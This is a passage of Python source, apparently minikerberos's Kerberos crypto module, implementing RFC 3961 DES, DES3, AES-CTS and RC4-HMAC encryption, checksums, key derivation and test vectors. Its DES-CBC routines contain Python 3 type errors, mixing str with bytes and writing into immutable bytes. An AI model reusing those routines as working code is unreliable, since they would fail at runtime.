Cipher state only needed for kcmd suite\n# - Nonstandard enctypes and cksumtypes like des-hmac-sha1\n# Original code was taken from impacket, ported to python3 by <NAME> (@skelsec)\n\nfrom struct import pack, unpack\nfrom binascii import unhexlify\nimport string\nimport random\nimport functools\nimport os\n\nfrom math import gcd\nimport hmac as HMAC\nimport hashlib\nfrom hashlib import md5 as MD5\nfrom hashlib import sha1 as SHA\nfrom minikerberos.crypto.PBKDF2.pbkdf2 import pbkdf2 as PBKDF2\nfrom minikerberos.crypto.AES import *\nfrom minikerberos.crypto.DES import DES3, DES_CBC, DES_ECB\nfrom minikerberos.crypto.RC4 import RC4 as ARC4\nfrom minikerberos.crypto.DES import DES\n\n\ndef get_random_bytes(lenBytes):\n\t# We don't really need super strong randomness here to use PyCrypto.Random\n\treturn os.urandom(lenBytes)\n\n\nclass Enctype(object):\n\tDES_CRC = 1\n\tDES_MD4 = 2\n\tDES_MD5 = 3\n\tDES3 = 16\n\tAES128 = 17\n\tAES256 = 18\n\tRC4 = 23\n\n\nclass Cksumtype(object):\n\tCRC32 = 1\n\tMD4 = 2\n\tMD4_DES = 3\n\tMD5 = 7\n\tMD5_DES = 8\n\tSHA1 = 9\n\tSHA1_DES3 = 12\n\tSHA1_AES128 = 15\n\tSHA1_AES256 = 16\n\tHMAC_MD5 = -138\n\n\nclass InvalidChecksum(ValueError):\n\tpass\n\n\ndef _zeropad(s, padsize):\n\t# Return s padded with 0 bytes to a multiple of padsize.\n\tpadlen = (padsize - (len(s) % padsize)) % padsize\n\treturn s + b'\\x00'*padlen\n\n\ndef _xorbytes(b1, b2):\n\t# xor two strings together and return the resulting string.\n\tassert len(b1) == len(b2)\n\tt1 = int.from_bytes(b1, byteorder = 'big', signed = False)\n\tt2 = int.from_bytes(b2, byteorder = 'big', signed = False)\n\treturn (t1 ^ t2).to_bytes(len(b1), byteorder = 'big', signed = False)\n\n\ndef _mac_equal(mac1, mac2):\n\t# Constant-time comparison function. (We can't use HMAC.verify\n\t# since we use truncated macs.)\n\tassert len(mac1) == len(mac2)\n\tres = 0\n\tfor x, y in zip(mac1, mac2):\n\t\tres |= x ^ y\n\treturn res == 0\n\n\ndef _nfold(str, nbytes):\n\t# Convert str to a string of length nbytes using the RFC 3961 nfold\n\t# operation.\n\n\t# Rotate the bytes in str to the right by nbits bits.\n\tdef rotate_right(str, nbits):\n\t\tnum = int.from_bytes(str, byteorder ='big', signed = False)\n\t\tsize = len(str)*8\n\t\tnbits %= size\n\t\tbody = num >> nbits\n\t\tremains = (num << (size - nbits)) - (body << size)\n\t\treturn (body + remains).to_bytes(len(str), byteorder ='big', signed = False)\n\n\t\t\n\n\t# Add equal-length strings together with end-around carry.\n\tdef add_ones_complement(str1, str2):\n\t\tn = len(str1)\n\t\tv = []\n\t\tfor i in range(0,len(str1), 1):\n\t\t\tt = str1[i] + str2[i]\n\t\t\tv.append(t)\n\t\t\n\t\t#v = [ord(a) + ord(b) for a, b in zip(str1, str2)]\n\t\t# Propagate carry bits to the left until there aren't any left.\n\t\twhile any(x & ~0xff for x in v):\n\t\t\tv = [(v[i-n+1]>>8) + (v[i]&0xff) for i in range(n)]\n\t\treturn b''.join(x.to_bytes(1, byteorder = 'big', signed = False) for x in v)\n\n\t# Concatenate copies of str to produce the least common multiple\n\t# of len(str) and nbytes, rotating each copy of str to the right\n\t# by 13 bits times its list position. Decompose the concatenation\n\t# into slices of length nbytes, and add them together as\n\t# big-endian ones' complement integers.\n\tslen = len(str)\n\tlcm = int(nbytes * slen / gcd(nbytes, slen))\n\tbigstr = b''.join((rotate_right(str, 13 * i) for i in range(int(lcm / slen))))\n\tslices = (bigstr[p:p+nbytes] for p in range(0, lcm, nbytes))\n\t\n\treturn functools.reduce(add_ones_complement, slices)\n\n\ndef _is_weak_des_key(keybytes):\n\treturn keybytes in (b'\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01',\n\t\t\t\t\t\tb'\\xFE\\xFE\\xFE\\xFE\\xFE\\xFE\\xFE\\xFE',\n\t\t\t\t\t\tb'\\x1F\\x1F\\x1F\\x1F\\x0E\\x0E\\x0E\\x0E',\n\t\t\t\t\t\tb'\\xE0\\xE0\\xE0\\xE0\\xF1\\xF1\\xF1\\xF1',\n\t\t\t\t\t\tb'\\x01\\xFE\\x01\\xFE\\x01\\xFE\\x01\\xFE',\n\t\t\t\t\t\tb'\\xFE\\x01\\xFE\\x01\\xFE\\x01\\xFE\\x01',\n\t\t\t\t\t\tb'\\x1F\\xE0\\x1F\\xE0\\x0E\\xF1\\x0E\\xF1',\n\t\t\t\t\t\tb'\\xE0\\x1F\\xE0\\x1F\\xF1\\x0E\\xF1\\x0E',\n\t\t\t\t\t\tb'\\x01\\xE0\\x01\\xE0\\x01\\xF1\\x01\\xF1',\n\t\t\t\t\t\tb'\\xE0\\x01\\xE0\\x01\\xF1\\x01\\xF1\\x01',\n\t\t\t\t\t\tb'\\x1F\\xFE\\x1F\\xFE\\x0E\\xFE\\x0E\\xFE',\n\t\t\t\t\t\tb'\\xFE\\x1F\\xFE\\x1F\\xFE\\x0E\\xFE\\x0E',\n\t\t\t\t\t\tb'\\x01\\x1F\\x01\\x1F\\x01\\x0E\\x01\\x0E',\n\t\t\t\t\t\tb'\\x1F\\x01\\x1F\\x01\\x0E\\x01\\x0E\\x01',\n\t\t\t\t\t\tb'\\xE0\\xFE\\xE0\\xFE\\xF1\\xFE\\xF1\\xFE',\n\t\t\t\t\t\tb'\\xFE\\xE0\\xFE\\xE0\\xFE\\xF1\\xFE\\xF1')\n\n\nclass _EnctypeProfile(object):\n\t# Base class for enctype profiles. Usable enctype classes must define:\n\t# * enctype: enctype number\n\t# * keysize: protocol size of key in bytes\n\t# * seedsize: random_to_key input size in bytes\n\t# * random_to_key (if the keyspace is not dense)\n\t# * string_to_key\n\t# * encrypt\n\t# * decrypt\n\t# * prf\n\n\t@classmethod\n\tdef random_to_key(cls, seed):\n\t\tif len(seed) != cls.seedsize:\n\t\t\traise ValueError('Wrong seed length')\n\t\treturn Key(cls.enctype, seed)\n\n\nclass _SimplifiedEnctype(_EnctypeProfile):\n\t# Base class for enctypes using the RFC 3961 simplified profile.\n\t# Defines the encrypt, decrypt, and prf methods. Subclasses must\n\t# define:\n\t# * blocksize: Underlying cipher block size in bytes\n\t# * padsize: Underlying cipher padding multiple (1 or blocksize)\n\t# * macsize: Size of integrity MAC in bytes\n\t# * hashmod: PyCrypto hash module for underlying hash function\n\t# * basic_encrypt, basic_decrypt: Underlying CBC/CTS cipher\n\n\t@classmethod\n\tdef derive(cls, key, constant):\n\t\t# RFC 3961 only says to n-fold the constant only if it is\n\t\t# shorter than the cipher block size. But all Unix\n\t\t# implementations n-fold constants if their length is larger\n\t\t# than the block size as well, and n-folding when the length\n\t\t# is equal to the block size is a no-op.\n\t\tplaintext = _nfold(constant, cls.blocksize)\n\t\trndseed = b''\n\t\twhile len(rndseed) < cls.seedsize:\n\t\t\tciphertext = cls.basic_encrypt(key, plaintext)\n\t\t\trndseed += ciphertext\n\t\t\tplaintext = ciphertext\n\t\treturn cls.random_to_key(rndseed[0:cls.seedsize])\n\n\t@classmethod\n\tdef encrypt(cls, key, keyusage, plaintext, confounder):\n\t\tki = cls.derive(key, pack('>IB', keyusage, 0x55))\n\t\tke = cls.derive(key, pack('>IB', keyusage, 0xAA))\n\t\tif confounder is None:\n\t\t\tconfounder = get_random_bytes(cls.blocksize)\n\t\tbasic_plaintext = confounder + _zeropad(plaintext, cls.padsize)\n\t\thmac = HMAC.new(ki.contents, basic_plaintext, cls.hashmod).digest()\n\t\treturn cls.basic_encrypt(ke, basic_plaintext) + hmac[:cls.macsize]\n\n\t@classmethod\n\tdef decrypt(cls, key, keyusage, ciphertext):\n\t\tki = cls.derive(key, pack('>IB', keyusage, 0x55))\n\t\tke = cls.derive(key, pack('>IB', keyusage, 0xAA))\n\t\tif len(ciphertext) < cls.blocksize + cls.macsize:\n\t\t\traise ValueError('ciphertext too short')\n\t\tbasic_ctext, mac = ciphertext[:-cls.macsize], ciphertext[-cls.macsize:]\n\t\tif len(basic_ctext) % cls.padsize != 0:\n\t\t\traise ValueError('ciphertext does not meet padding requirement')\n\t\tbasic_plaintext = cls.basic_decrypt(ke, basic_ctext)\n\t\thmac = HMAC.new(ki.contents, basic_plaintext, cls.hashmod).digest()\n\t\texpmac = hmac[:cls.macsize]\n\t\tif not _mac_equal(mac, expmac):\n\t\t\traise InvalidChecksum('ciphertext integrity failure')\n\t\t# Discard the confounder.\n\t\treturn basic_plaintext[cls.blocksize:]\n\n\t@classmethod\n\tdef prf(cls, key, string):\n\t\t# Hash the input. RFC 3961 says to truncate to the padding\n\t\t# size, but implementations truncate to the block size.\n\t\thashval = cls.hashmod(string).digest()\n\t\ttruncated = hashval[:-(len(hashval) % cls.blocksize)]\n\t\t# Encrypt the hash with a derived key.\n\t\tkp = cls.derive(key, b'prf')\n\t\treturn cls.basic_encrypt(kp, truncated)\n\nclass _DESCBC(_SimplifiedEnctype):\n\tenctype = Enctype.DES_MD5\n\tkeysize = 8\n\tseedsize = 8\n\tblocksize = 8\n\tpadsize = 8\n\tmacsize = 16\n\thashmod = MD5\n\n\t@classmethod\n\tdef encrypt(cls, key, keyusage, plaintext, confounder):\n\t\tif confounder is None:\n\t\t\tconfounder = get_random_bytes(cls.blocksize)\n\t\tbasic_plaintext = confounder + '\\x00'*cls.macsize + _zeropad(plaintext, cls.padsize)\n\t\tchecksum = cls.hashmod.new(basic_plaintext).digest()\n\t\tbasic_plaintext = basic_plaintext[:len(confounder)] + checksum + basic_plaintext[len(confounder)+len(checksum):]\n\t\treturn cls.basic_encrypt(key, basic_plaintext)\n\t\t\n\t\t\n\t@classmethod\n\tdef decrypt(cls, key, keyusage, ciphertext):\n\t\tif len(ciphertext) < cls.blocksize + cls.macsize:\n\t\t\traise ValueError('ciphertext too short')\n\t\t\n\t\tcomplex_plaintext = cls.basic_decrypt(key, ciphertext)\n\t\tcofounder = complex_plaintext[:cls.padsize]\n\t\tmac = complex_plaintext[cls.padsize:cls.padsize+cls.macsize]\n\t\tmessage = complex_plaintext[cls.padsize+cls.macsize:]\n\t\t\n\t\texpmac = cls.hashmod.new(cofounder+'\\x00'*cls.macsize+message).digest()\n\t\tif not _mac_equal(mac, expmac):\n\t\t\traise InvalidChecksum('ciphertext integrity failure')\n\t\treturn message\n\t\n\t@classmethod\n\tdef mit_des_string_to_key(cls,string,salt):\n\t\n\t\tdef fixparity(deskey):\n\t\t\ttemp = b''\n\t\t\tfor byte in deskey:\n\t\t\t\tt = (bin(byte)[2:]).rjust(8,'0')\n\t\t\t\tif t[:7].count('1') %2 == 0:\n\t\t\t\t\ttemp+= int(t[:7]+'1',2).to_bytes(1, byteorder = 'big', signed = False)\n\t\t\t\telse:\n\t\t\t\t\ttemp+= int(t[:7]+'0',2).to_bytes(1, byteorder = 'big', signed = False)\n\t\t\treturn temp\n\t\n\t\tdef addparity(l1):\n\t\t\ttemp = list()\n\t\t\tfor byte in l1:\n\t\t\t\tif (bin(byte).count('1') % 2) == 0:\n\t\t\t\t\tbyte = (byte << 1)|0b00000001\n\t\t\t\telse:\n\t\t\t\t\tbyte = (byte << 1)&0b11111110\n\t\t\t\ttemp.append(byte)\n\t\t\treturn temp\n\t\t\n\t\tdef XOR(l1,l2):\n\t\t\ttemp = list()\n\t\t\tfor b1,b2 in zip(l1,l2):\n\t\t\t\ttemp.append((b1^b2)&0b01111111)\n\t\t\t\n\t\t\treturn temp\n\t\t\n\t\todd = True\n\t\ts = string + salt\n\t\ttempstring = [0,0,0,0,0,0,0,0]\n\t\ts = s + b'\\x00'*( 8- (len(s)%8)) #pad(s); /* with nulls to 8 byte boundary */\n\t\t\n\t\tfor block in [s[i:i+8] for i in range(0, len(s), 8)]:\n\t\t\ttemp56 = list()\n\t\t\t#removeMSBits\n\t\t\tfor byte in block:\n\t\t\t\ttemp56.append(byte&0b01111111)\n\t\t\t\n\t\t\t#reverse\n\t\t\tif odd == False:\n\t\t\t\tbintemp = ''\n\t\t\t\tfor byte in temp56:\n\t\t\t\t\tbintemp += (bin(byte)[2:]).rjust(7,'0')\n\t\t\t\tbintemp = bintemp[::-1]\n\t\t\t\t\n\t\t\t\ttemp56 = list()\n\t\t\t\tfor bits7 in [bintemp[i:i+7] for i in range(0, len(bintemp), 7)]:\n\t\t\t\t\ttemp56.append(int(bits7,2))\n\n\t\t\todd = not odd\n\t\t\t\t\n\t\t\ttempstring = XOR(tempstring,temp56)\n\t\t\n\t\ttempkey = b''.join(byte.to_bytes(1, byteorder = 'big', signed = False) for byte in addparity(tempstring))\n\t\tif _is_weak_des_key(tempkey):\n\t\t\ttempkey[7] = (tempkey[7] ^ 0xF0).to_bytes(1, byteorder = 'big', signed = False)\n\t\t\n\t\tcipher = DES(tempkey, DES_CBC, tempkey)\n\t\tchekcsumkey = cipher.encrypt(s)[-8:]\n\t\tchekcsumkey = fixparity(chekcsumkey)\n\t\tif _is_weak_des_key(chekcsumkey):\n\t\t\tchekcsumkey[7] = chr(ord(chekcsumkey[7]) ^ 0xF0)\n\t\t\n\t\treturn Key(cls.enctype, chekcsumkey)\n\n\t@classmethod\n\tdef basic_encrypt(cls, key, plaintext):\n\t\tassert len(plaintext) % 8 == 0\n\t\tdes = DES(key.contents, DES_CBC, b'\\x00' * 8)\n\t\treturn des.encrypt(plaintext)\n\n\t@classmethod\n\tdef basic_decrypt(cls, key, ciphertext):\n\t\tassert len(ciphertext) % 8 == 0\n\t\tdes = DES(key.contents, DES_CBC, b'\\x00' * 8)\n\t\treturn des.decrypt(ciphertext)\t\t\n\t\n\t@classmethod\n\tdef string_to_key(cls, string, salt, params):\n\t\tif params is not None and params != '':\n\t\t\traise ValueError('Invalid DES string-to-key parameters')\n\t\tkey = cls.mit_des_string_to_key(string, salt)\n\t\treturn key\n\t\n\t\n\nclass _DES3CBC(_SimplifiedEnctype):\n\tenctype = Enctype.DES3\n\tkeysize = 24\n\tseedsize = 21\n\tblocksize = 8\n\tpadsize = 8\n\tmacsize = 20\n\thashmod = SHA\n\n\t@classmethod\n\tdef random_to_key(cls, seed):\n\t\t# XXX Maybe reframe as _DESEnctype.random_to_key and use that\n\t\t# way from DES3 random-to-key when DES is implemented, since\n\t\t# MIT does this instead of the RFC 3961 random-to-key.\n\t\tdef expand(seed):\n\t\t\tdef parity(b):\n\t\t\t\t# Return b with the low-order bit set to yield odd parity.\n\t\t\t\tb &= ~1\n\t\t\t\treturn b if bin(b & ~1).count('1') % 2 else b | 1\n\t\t\tassert len(seed) == 7\n\t\t\tfirstbytes = [parity(b & ~1) for b in seed]\n\t\t\tlastbyte = parity(sum((seed[i]&1) << i+1 for i in range(7)))\n\t\t\tkeybytes = b''.join(b.to_bytes(1, byteorder = 'big', signed = False) for b in firstbytes + [lastbyte])\n\t\t\tif _is_weak_des_key(keybytes):\n\t\t\t\tkeybytes[7] = (keybytes[7] ^ 0xF0).to_bytes(1, byteorder = 'big', signed = False)\n\t\t\treturn keybytes\n\t\t\n\t\tif len(seed) != 21:\n\t\t\traise ValueError('Wrong seed length')\n\t\tk1, k2, k3 = expand(seed[:7]), expand(seed[7:14]), expand(seed[14:])\n\t\treturn Key(cls.enctype, k1 + k2 + k3)\n\n\t@classmethod\n\tdef string_to_key(cls, string, salt, params):\n\t\tif params is not None and params != '':\n\t\t\traise ValueError('Invalid DES3 string-to-key parameters')\n\t\tk = cls.random_to_key(_nfold(string + salt, 21))\n\t\treturn cls.derive(k, 'kerberos'.encode())\n\n\t@classmethod\n\tdef basic_encrypt(cls, key, plaintext):\n\t\tassert len(plaintext) % 8 == 0\n\t\tdes3 = DES3(key.contents, DES_CBC, IV = b'\\x00' * 8)\n\t\treturn des3.encrypt(plaintext)\n\n\t@classmethod\n\tdef basic_decrypt(cls, key, ciphertext):\n\t\tassert len(ciphertext) % 8 == 0\n\t\tdes3 = DES3(key.contents, DES_CBC, IV = b'\\x00' * 8)\n\t\treturn des3.decrypt(ciphertext)\n\n\nclass _AESEnctype(_SimplifiedEnctype):\n\t# Base class for aes128-cts and aes256-cts.\n\tblocksize = 16\n\tpadsize = 1\n\tmacsize = 12\n\thashmod = SHA\n\n\t@classmethod\n\tdef string_to_key(cls, string, salt, params):\n\t\t(iterations,) = unpack('>L', params or b'\\x00\\x00\\x10\\x00')\n\t\t#prf = lambda p, s: HMAC.new(p, s, SHA).digest()\n\t\t#seed = PBKDF2(string, salt, cls.seedsize, iterations, prf)\n\t\tseed = PBKDF2(string, salt, iterations, cls.seedsize)\n\t\ttkey = cls.random_to_key(seed)\n\t\treturn cls.derive(tkey, 'kerberos'.encode())\n\n\t@classmethod\n\tdef basic_encrypt(cls, key, plaintext):\n\t\tassert len(plaintext) >= 16\n\t\taes = AESModeOfOperationCBC(key.contents, b'\\x00' * 16)\n\t\tctext = aes.encrypt(_zeropad(plaintext, 16))\n\t\tif len(plaintext) > 16:\n\t\t\t# Swap the last two ciphertext blocks and truncate the\n\t\t\t# final block to match the plaintext length.\n\t\t\tlastlen = len(plaintext) % 16 or 16\n\t\t\tctext = ctext[:-32] + ctext[-16:] + ctext[-32:-16][:lastlen]\n\t\treturn ctext\n\n\t@classmethod\n\tdef basic_decrypt(cls, key, ciphertext):\n\t\tassert len(ciphertext) >= 16\n\t\taes = AESModeOfOperationECB(key.contents)\n\t\tif len(ciphertext) == 16:\n\t\t\treturn aes.decrypt(ciphertext)\n\t\t# Split the ciphertext into blocks. The last block may be partial.\n\t\tcblocks = [ciphertext[p:p+16] for p in range(0, len(ciphertext), 16)]\n\t\tlastlen = len(cblocks[-1])\n\t\t# CBC-decrypt all but the last two blocks.\n\t\tprev_cblock = b'\\x00' * 16\n\t\tplaintext = b''\n\t\tfor b in cblocks[:-2]:\n\t\t\tplaintext += _xorbytes(aes.decrypt(b), prev_cblock)\n\t\t\tprev_cblock = b\n\t\t# Decrypt the second-to-last cipher block. The left side of\n\t\t# the decrypted block will be the final block of plaintext\n\t\t# xor'd with the final partial cipher block; the right side\n\t\t# will be the omitted bytes of ciphertext from the final\n\t\t# block.\n\t\tb = aes.decrypt(cblocks[-2])\n\t\tlastplaintext =_xorbytes(b[:lastlen], cblocks[-1])\n\t\tomitted = b[lastlen:]\n\t\t# Decrypt the final cipher block plus the omitted bytes to get\n\t\t# the second-to-last plaintext block.\n\t\tplaintext += _xorbytes(aes.decrypt(cblocks[-1] + omitted), prev_cblock)\n\t\treturn plaintext + lastplaintext\n\n\nclass _AES128CTS(_AESEnctype):\n\tenctype = Enctype.AES128\n\tkeysize = 16\n\tseedsize = 16\n\n\nclass _AES256CTS(_AESEnctype):\n\tenctype = Enctype.AES256\n\tkeysize = 32\n\tseedsize = 32\n\n\nclass _RC4(_EnctypeProfile):\n\tenctype = Enctype.RC4\n\tkeysize = 16\n\tseedsize = 16\n\n\t@staticmethod\n\tdef usage_str(keyusage):\n\t\t# Return a four-byte string for an RFC 3961 keyusage, using\n\t\t# the RFC 4757 rules. Per the errata, do not map 9 to 8.\n\t\ttable = {3: 8, 23: 13}\n\t\tmsusage = table[keyusage] if keyusage in table else keyusage\n\t\treturn pack('<I', msusage)\n\n\t@classmethod\n\tdef string_to_key(cls, string, salt, params):\n\t\tutf16string = string.decode('UTF-8').encode('UTF-16LE')\n\t\treturn Key(cls.enctype, hashlib.new('md4', utf16string).digest())\n\n\t@classmethod\n\tdef encrypt(cls, key, keyusage, plaintext, confounder):\n\t\tif confounder is None:\n\t\t\tconfounder = get_random_bytes(8)\n\t\tki = HMAC.new(key.contents, cls.usage_str(keyusage), MD5).digest()\n\t\tcksum = HMAC.new(ki, confounder + plaintext, MD5).digest()\n\t\tke = HMAC.new(ki, cksum, MD5).digest()\n\t\treturn cksum + ARC4(ke).encrypt(confounder + plaintext)\n\n\t@classmethod\n\tdef decrypt(cls, key, keyusage, ciphertext):\n\t\tif len(ciphertext) < 24:\n\t\t\traise ValueError('ciphertext too short')\n\t\tcksum, basic_ctext = ciphertext[:16], ciphertext[16:]\n\t\tki = HMAC.new(key.contents, cls.usage_str(keyusage), MD5).digest()\n\t\tke = HMAC.new(ki, cksum, MD5).digest()\n\t\tbasic_plaintext = ARC4(ke).decrypt(basic_ctext)\n\t\texp_cksum = HMAC.new(ki, basic_plaintext, MD5).digest()\n\t\tok = _mac_equal(cksum, exp_cksum)\n\t\tif not ok and keyusage == 9:\n\t\t\t# Try again with usage 8, due to RFC 4757 errata.\n\t\t\tki = HMAC.new(key.contents, pack('<I', 8), MD5).digest()\n\t\t\texp_cksum = HMAC.new(ki, basic_plaintext, MD5).digest()\n\t\t\tok = _mac_equal(cksum, exp_cksum)\n\t\tif not ok:\n\t\t\traise InvalidChecksum('ciphertext integrity failure')\n\t\t# Discard the confounder.\n\t\treturn basic_plaintext[8:]\n\n\t@classmethod\n\tdef prf(cls, key, string):\n\t\treturn HMAC.new(key.contents, string, SHA).digest()\n\n\nclass _ChecksumProfile(object):\n\t# Base class for checksum profiles. Usable checksum classes must\n\t# define:\n\t# * checksum\n\t# * verify (if verification is not just checksum-and-compare)\n\t@classmethod\n\tdef verify(cls, key, keyusage, text, cksum):\n\t\texpected = cls.checksum(key, keyusage, text)\n\t\tif not _mac_equal(cksum, expected):\n\t\t\traise InvalidChecksum('checksum verification failure')\n\n\nclass _SimplifiedChecksum(_ChecksumProfile):\n\t# Base class for checksums using the RFC 3961 simplified profile.\n\t# Defines the checksum and verify methods. Subclasses must\n\t# define:\n\t# * macsize: Size of checksum in bytes\n\t# * enc: Profile of associated enctype\n\n\t@classmethod\n\tdef checksum(cls, key, keyusage, text):\n\t\tkc = cls.enc.derive(key, pack('>IB', keyusage, 0x99))\n\t\thmac = HMAC.new(kc.contents, text, cls.enc.hashmod).digest()\n\t\treturn hmac[:cls.macsize]\n\n\t@classmethod\n\tdef verify(cls, key, keyusage, text, cksum):\n\t\tif key.enctype != cls.enc.enctype:\n\t\t\traise ValueError('Wrong key type for checksum')\n\t\tsuper(_SimplifiedChecksum, cls).verify(key, keyusage, text, cksum)\n\n\nclass _SHA1AES128(_SimplifiedChecksum):\n\tmacsize = 12\n\tenc = _AES128CTS\n\n\nclass _SHA1AES256(_SimplifiedChecksum):\n\tmacsize = 12\n\tenc = _AES256CTS\n\n\nclass _SHA1DES3(_SimplifiedChecksum):\n\tmacsize = 20\n\tenc = _DES3CBC\n\n\nclass _HMACMD5(_ChecksumProfile):\n\t@classmethod\n\tdef checksum(cls, key, keyusage, text):\n\t\tksign = HMAC.new(key.contents, b'signaturekey\\x00', MD5).digest()\n\t\tmd5hash = MD5(_RC4.usage_str(keyusage) + text).digest()\n\t\treturn HMAC.new(ksign, md5hash, MD5).digest()\n\n\t@classmethod\n\tdef verify(cls, key, keyusage, text, cksum):\n\t\tif key.enctype != Enctype.RC4:\n\t\t\traise ValueError('Wrong key type for checksum')\n\t\tsuper(_HMACMD5, cls).verify(key, keyusage, text, cksum)\n\n\n_enctype_table = {\n\tEnctype.DES_MD5: _DESCBC,\n\tEnctype.DES3: _DES3CBC,\n\tEnctype.AES128: _AES128CTS,\n\tEnctype.AES256: _AES256CTS,\n\tEnctype.RC4: _RC4\n}\n\n\n_checksum_table = {\n\tCksumtype.SHA1_DES3: _SHA1DES3,\n\tCksumtype.SHA1_AES128: _SHA1AES128,\n\tCksumtype.SHA1_AES256: _SHA1AES256,\n\tCksumtype.HMAC_MD5: _HMACMD5,\n\t0xffffff76: _HMACMD5\n}\n\n\ndef _get_enctype_profile(enctype):\n\tif enctype not in _enctype_table:\n\t\traise ValueError('Invalid enctype %d' % enctype)\n\treturn _enctype_table[enctype]\n\n\ndef _get_checksum_profile(cksumtype):\n\tif cksumtype not in _checksum_table:\n\t\traise ValueError('Invalid cksumtype %d' % cksumtype)\n\treturn _checksum_table[cksumtype]\n\n\nclass Key(object):\n\tdef __init__(self, enctype, contents):\n\t\te = _get_enctype_profile(enctype)\n\t\tif len(contents) != e.keysize:\n\t\t\traise ValueError('Wrong key length')\n\t\tself.enctype = enctype\n\t\tself.contents = contents\n\n\ndef random_to_key(enctype, seed):\n\te = _get_enctype_profile(enctype)\n\tif len(seed) != e.seedsize:\n\t\traise ValueError('Wrong crypto seed length')\n\treturn e.random_to_key(seed)\n\n\ndef string_to_key(enctype, string, salt, params=None):\n\te = _get_enctype_profile(enctype)\n\treturn e.string_to_key(string, salt, params)\n\n\ndef encrypt(key, keyusage, plaintext, confounder=None):\n\te = _get_enctype_profile(key.enctype)\n\treturn e.encrypt(key, keyusage, plaintext, confounder)\n\n\ndef decrypt(key, keyusage, ciphertext):\n\t# Throw InvalidChecksum on checksum failure. Throw ValueError on\n\t# invalid key enctype or malformed ciphertext.\n\te = _get_enctype_profile(key.enctype)\n\treturn e.decrypt(key, keyusage, ciphertext)\n\n\ndef prf(key, string):\n\te = _get_enctype_profile(key.enctype)\n\treturn e.prf(key, string)\n\n\ndef make_checksum(cksumtype, key, keyusage, text):\n\tc = _get_checksum_profile(cksumtype)\n\treturn c.checksum(key, keyusage, text)\n\n\ndef verify_checksum(cksumtype, key, keyusage, text, cksum):\n\t# Throw InvalidChecksum exception on checksum failure. Throw\n\t# ValueError on invalid cksumtype, invalid key enctype, or\n\t# malformed checksum.\n\tc = _get_checksum_profile(cksumtype)\n\tc.verify(key, keyusage, text, cksum)\n\n\ndef cf2(enctype, key1, key2, pepper1, pepper2):\n\t# Combine two keys and two pepper strings to produce a result key\n\t# of type enctype, using the RFC 6113 KRB-FX-CF2 function.\n\tdef prfplus(key, pepper, l):\n\t\t# Produce l bytes of output using the RFC 6113 PRF+ function.\n\t\tout = b''\n\t\tcount = 1\n\t\twhile len(out) < l:\n\t\t\tout += prf(key, count.to_bytes(1, byteorder='big', signed = False) + pepper)\n\t\t\tcount += 1\n\t\treturn out[:l]\n\n\te = _get_enctype_profile(enctype)\n\treturn e.random_to_key(_xorbytes(prfplus(key1, pepper1, e.seedsize),\n\t\t\t\t\t\t\t\t\t prfplus(key2, pepper2, e.seedsize)))\n\n\nif __name__ == '__main__':\n\tdef h(hexstr):\n\t\treturn unhexlify(hexstr)\n\n\t# AES128 encrypt and decrypt\n\tkb = h('9062430C8CDA3388922E6D6A509F5B7A')\n\tconf = h('94B491F481485B9A0678CD3C4EA386AD')\n\tkeyusage = 2\n\tplain = '9 bytesss'.encode()\n\tctxt = h('68FB9679601F45C78857B2BF820FD6E53ECA8D42FD4B1D7024A09205ABB7CD2E'\n\t\t\t 'C26C355D2F')\n\tk = Key(Enctype.AES128, kb)\n\tassert(encrypt(k, keyusage, plain, conf) == ctxt)\n\tassert(decrypt(k, keyusage, ctxt) == plain)\n\n\t# AES256 encrypt and decrypt\n\tkb = h('F1C795E9248A09338D82C3F8D5B567040B0110736845041347235B1404231398')\n\tconf = h('E45CA518B42E266AD98E165E706FFB60')\n\tkeyusage = 4\n\tplain = '30 bytes bytes bytes bytes byt'.encode()\n\tctxt = h('D1137A4D634CFECE924DBC3BF6790648BD5CFF7DE0E7B99460211D0DAEF3D79A'\n\t\t\t '295C688858F3B34B9CBD6EEBAE81DAF6B734D4D498B6714F1C1D')\n\tk = Key(Enctype.AES256, kb)\n\tassert(encrypt(k, keyusage, plain, conf) == ctxt)\n\tassert(decrypt(k, keyusage, ctxt) == plain)\n\n\t# AES128 checksum\n\tkb = h('9062430C8CDA3388922E6D6A509F5B7A')\n\tkeyusage = 3\n\tplain = 'eight nine ten eleven twelve thirteen'.encode()\n\tcksum = h('01A4B088D45628F6946614E3')\n\tk = Key(Enctype.AES128, kb)\n\tverify_checksum(Cksumtype.SHA1_AES128, k, keyusage, plain, cksum)\n\n\t# AES256 checksum\n\tkb = h('B1AE4CD8462AFF1677053CC9279AAC30B796FB81CE21474DD3DDBCFEA4EC76D7')\n\tkeyusage = 4\n\tplain = 'fourteen'.encode()\n\tcksum = h('E08739E3279E2903EC8E3836')\n\tk = Key(Enctype.AES256, kb)\n\tverify_checksum(Cksumtype.SHA1_AES256, k, keyusage, plain, cksum)\n\n\t# AES128 string-to-key\n\tstring = 'password'.encode()\n\tsalt = '<PASSWORD>'.encode()\n\tparams = h('00000002')\n\tkb = h('C651BF29E2300AC27FA469D693BDDA13')\n\tk = string_to_key(Enctype.AES128, string, salt, params)\n\tassert(k.contents == kb)\n\n\t# AES256 string-to-key\n\tstring = b'X' * 64\n\tsalt = '<PASSWORD> equals block <PASSWORD>'.encode()\n\tparams = h('000004B0')\n\tkb = h('89ADEE3608DB8BC71F1BFBFE459486B05618B70CBAE22092534E56C553BA4B34')\n\tk = string_to_key(Enctype.AES256, string, salt, params)\n\tassert(k.contents == kb)\n\n\t# AES128 prf\n\tkb = h('77B39A37A868920F2A51F9DD150C5717')\n\tk = string_to_key(Enctype.AES128, 'key1'.encode(), 'key1'.encode())\n\tassert(prf(k, b'\\x01\\x61') == kb)\n\n\t# AES256 prf\n\tkb = h('0D674DD0F9A6806525A4D92E828BD15A')\n\tk = string_to_key(Enctype.AES256, 'key2'.encode(), 'key2'.encode())\n\tassert(prf(k, b'\\x02\\x62') == kb)\n\n\t# AES128 cf2\n\tkb = h('97DF97E4B798B29EB31ED7280287A92A')\n\tk1 = string_to_key(Enctype.AES128, 'key1'.encode(), 'key1'.encode())\n\tk2 = string_to_key(Enctype.AES128, 'key2'.encode(), 'key2'.encode())\n\tk = cf2(Enctype.AES128, k1, k2, b'a', b'b')\n\tassert(k.contents == kb)\n\n\t# AES256 cf2\n\tkb = h('4D6CA4E629785C1F01BAF55E2E548566B9617AE3A96868C337CB93B5E72B1C7B')\n\tk1 = string_to_key(Enctype.AES256, 'key1'.encode(), 'key1'.encode())\n\tk2 = string_to_key(Enctype.AES256, 'key2'.encode(), 'key2'.encode())\n\tk = 